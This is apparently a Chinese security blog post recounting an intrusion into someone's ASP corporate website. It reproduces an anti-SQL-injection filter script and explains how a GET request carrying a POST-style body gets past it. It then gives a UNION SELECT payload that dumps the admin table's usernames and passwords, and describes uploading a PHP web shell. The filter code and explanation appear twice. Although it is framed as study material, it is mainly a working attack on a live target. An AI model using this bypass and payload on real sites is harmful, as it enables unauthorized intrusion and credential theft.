利用Request對象的包解析漏洞繞過防注入程序
發(fā)布時間:2012-05-05 00:44:19 作者:佚名
我要評論

利用Request對象的包解析漏洞繞過防注入程序,想要學習安全的朋友可以參考下
今天無聊來看看他們的站,打開網站 asp 的企業(yè)站 ,點了幾個鏈接看了下,看不出來什么程序 于是掃掃目錄 掃出來個 upload_photo.asp 這個文件一般使用的是無懼無組件上傳 ,存在雙文件上傳的漏洞 ,嘗試 cookies 欺騙繞過登錄檢測 遺憾的是不行 看來這個洞被補了。。雖然是老程序 ,但是用了這么多年 ,經過無數次被黑之后 一些洞洞也被補的差不多了。。去網上找了個差不多的企業(yè)站程序下載下來研究了下 ,發(fā)現其 downloadshow.asp 的防注入是通過 check_sql.asp 文件來實現的 ,好的我們來看看這個程序 看看能不能繞過 ,本地搭建了個測試環(huán)境,下面是check_sql.asp 的內容
<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定義部份 頭----------------------------------------------------------------------
Err_Message = 1 '處理方式:1=提示信息,2=轉向頁面,3=先提示再轉向
Err_Web = "Err.Asp" '出錯時轉向的頁面
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在這部份定義get非法參數,使用"∥"號間隔
Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在這部份定義post非法參數,使用"∥"號間隔
'------定義部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 對 get query 值 的過濾.
if request.QueryString<>"" then
response.write "QueryString :" & request.QueryString & "
"
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
response.write request.QueryString(Query_Name) & "出現關鍵詞" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "傳參錯誤!參數 "&name&" 的值中包含非法字符串!\n\n請不要在參數中出現:and update delete ; insert mid master 等非法字符"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('傳參錯誤!參數 "&name&"的值中包含非法字符串!\n\n請不要在參數中出現:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----對 post 表 單值的過濾.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
response.write request.form(name) & "出現關鍵詞" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "出錯了!表單 "&name&" 的值中包含非法字符串!\n\n請不要在表單中出現: % & * # ( ) 等非法字符!"
Case "3"
Response.Write "出錯了!參數 "&name&"的值中包含非法字符串!\n\n請不要在表單中出現: % & * # ( ) 等非法字符!"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
可以看出其對GET請求發(fā)送的參數 過濾的非常的嚴格 ,但是對于POST發(fā)送的參數卻只過濾了幾個符號 ,這個很好繞過的 ,但是downloadshow.asp 只接受GET 發(fā)送過來的參數啊 ,這該如何繞過?這里就要使用 asp 和 aspx 的Request對象的包解析漏洞,即像下面的形式發(fā)送的內容 ,使用 request對象仍然可以獲取正確的值
GET /Downloadshow.asp HTTP/1.1
HOST:XXXXXXXXXXXXXXXX
Content-Length: xx
Content-Type: XXXXXXXXXXXXXXXXXX
ID=111
然后 downloadshow.asp 中 使用request("ID")仍然可以獲取正確的ID值 ,和直接 GET /downloadshow.asp?ID=111 的效果是一樣的,但是這樣的話 對于上面的那個 sql 注入檢測程序 ,卻會把這樣的數據當作是POST提交的數據 ,再加上不到位的檢測 ,sql注入漏洞就產生了,如下圖所示:



這里有個技巧就是 使用 火狐的 Hackbar 插件 可以很方便的加上 POST 的數據 。
好了 本地成功了 我們拿到目標站來試試效果
來到 downloadshow.asp 頁面 提交POST 數據
ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin
直接爆出管理員的用戶名密碼
復制代碼
代碼如下:<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定義部份 頭----------------------------------------------------------------------
Err_Message = 1 '處理方式:1=提示信息,2=轉向頁面,3=先提示再轉向
Err_Web = "Err.Asp" '出錯時轉向的頁面
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在這部份定義get非法參數,使用"∥"號間隔
Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在這部份定義post非法參數,使用"∥"號間隔
'------定義部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 對 get query 值 的過濾.
if request.QueryString<>"" then
response.write "QueryString :" & request.QueryString & "
"
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
response.write request.QueryString(Query_Name) & "出現關鍵詞" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "傳參錯誤!參數 "&name&" 的值中包含非法字符串!\n\n請不要在參數中出現:and update delete ; insert mid master 等非法字符"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('傳參錯誤!參數 "&name&"的值中包含非法字符串!\n\n請不要在參數中出現:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----對 post 表 單值的過濾.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
response.write request.form(name) & "出現關鍵詞" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "出錯了!表單 "&name&" 的值中包含非法字符串!\n\n請不要在表單中出現: % & * # ( ) 等非法字符!"
Case "3"
Response.Write "出錯了!參數 "&name&"的值中包含非法字符串!\n\n請不要在表單中出現: % & * # ( ) 等非法字符!"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
可以看出其對GET請求發(fā)送的參數 過濾的非常的嚴格 ,但是對于POST發(fā)送的參數卻只過濾了幾個符號 ,這個很好繞過的 ,但是downloadshow.asp 只接受GET 發(fā)送過來的參數啊 ,這該如何繞過?這里就要使用 asp 和 aspx 的Request對象的包解析漏洞,即像下面的形式發(fā)送的內容 ,使用 request對象仍然可以獲取正確的值
GET /Downloadshow.asp HTTP/1.1
HOST:XXXXXXXXXXXXXXXX
Content-Length: xx
Content-Type: XXXXXXXXXXXXXXXXXX
ID=111
然后 downloadshow.asp 中 使用request("ID")仍然可以獲取正確的ID值 ,和直接 GET /downloadshow.asp?ID=111 的效果是一樣的,但是這樣的話 對于上面的那個 sql 注入檢測程序 ,卻會把這樣的數據當作是POST提交的數據 ,再加上不到位的檢測 ,sql注入漏洞就產生了,如下圖所示:



這里有個技巧就是 使用 火狐的 Hackbar 插件 可以很方便的加上 POST 的數據 。
好了 本地成功了 我們拿到目標站來試試效果
來到 downloadshow.asp 頁面 提交POST 數據
ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin
直接爆出管理員的用戶名密碼
然后就是后臺拿shell了 ,現在我們是管理員了而且已經登錄, 那我們再來 試試雙文件上傳 悲劇的發(fā)現 對于 在后綴后面加空格的方法繞過后綴檢測已經無效了,無懼的上傳組建會檢測 asp asa aspx 3種后綴 ,那么對于 asp 的站 可以試試 cer ,悲劇的是cer這個站不支持。。又看到有數據庫備份 ,看看 數據庫的路徑和名字都不可改寫 這個好辦 使用 firebug 改成我上傳的圖片路徑 然后備份文件填寫1.asp 提交,本地抓下包 發(fā)現原始數據庫的路徑并未當作參賽提交 無語了 ……果然 像我開頭說的那樣雖然是垃圾站 但是經過這么多年被黑,各種小洞都補了 。。無奈 試試其他腳本類型吧 上傳個 php ,還好服務器支持php ,shell 到手了。
相關文章
thinkphp代碼執(zhí)行getshell的漏洞解決
本文來介紹一下thinkphp官方修復的一個getshell漏洞,框架對控制器沒有進行足夠的檢測導致的一處getshell,小編覺得挺不錯的,現在分享給大家,也給大家做個參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實網絡攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實網絡攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網站實例分析,需要的朋友可以參考下2017-05-19
- 這里為大家分享一下sql注入的一些語句,很多情況下由于程序員的安全意識薄弱或基本功不足就容易導致sql注入安全問題,建議大家多看一下網上的安全文章,最好的防范就是先學2017-05-19
- 對于目前流行的sql注入,程序員在編寫程序時,都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數后,就會自動的記錄下你的IP地址,提交的非法參數和動作等,2017-04-29
- 我們友情進行XSS檢查,偶然跳出個小彈窗,其中我們總結了一些平時可能用到的XSS插入方式,方便我們以后進行快速檢查,也提供了一定的思路,其中XSS有反射、存儲、DOM這三類2016-12-27
- 這篇文章主要介紹了Python 爬蟲使用動態(tài)切換ip防止封殺的相關資料,需要的朋友可以參考下2016-10-08
- 這篇文章主要介紹了使用爬蟲采集網站時,解決被封IP的幾種方法的相關資料,需要的朋友可以參考下2016-10-08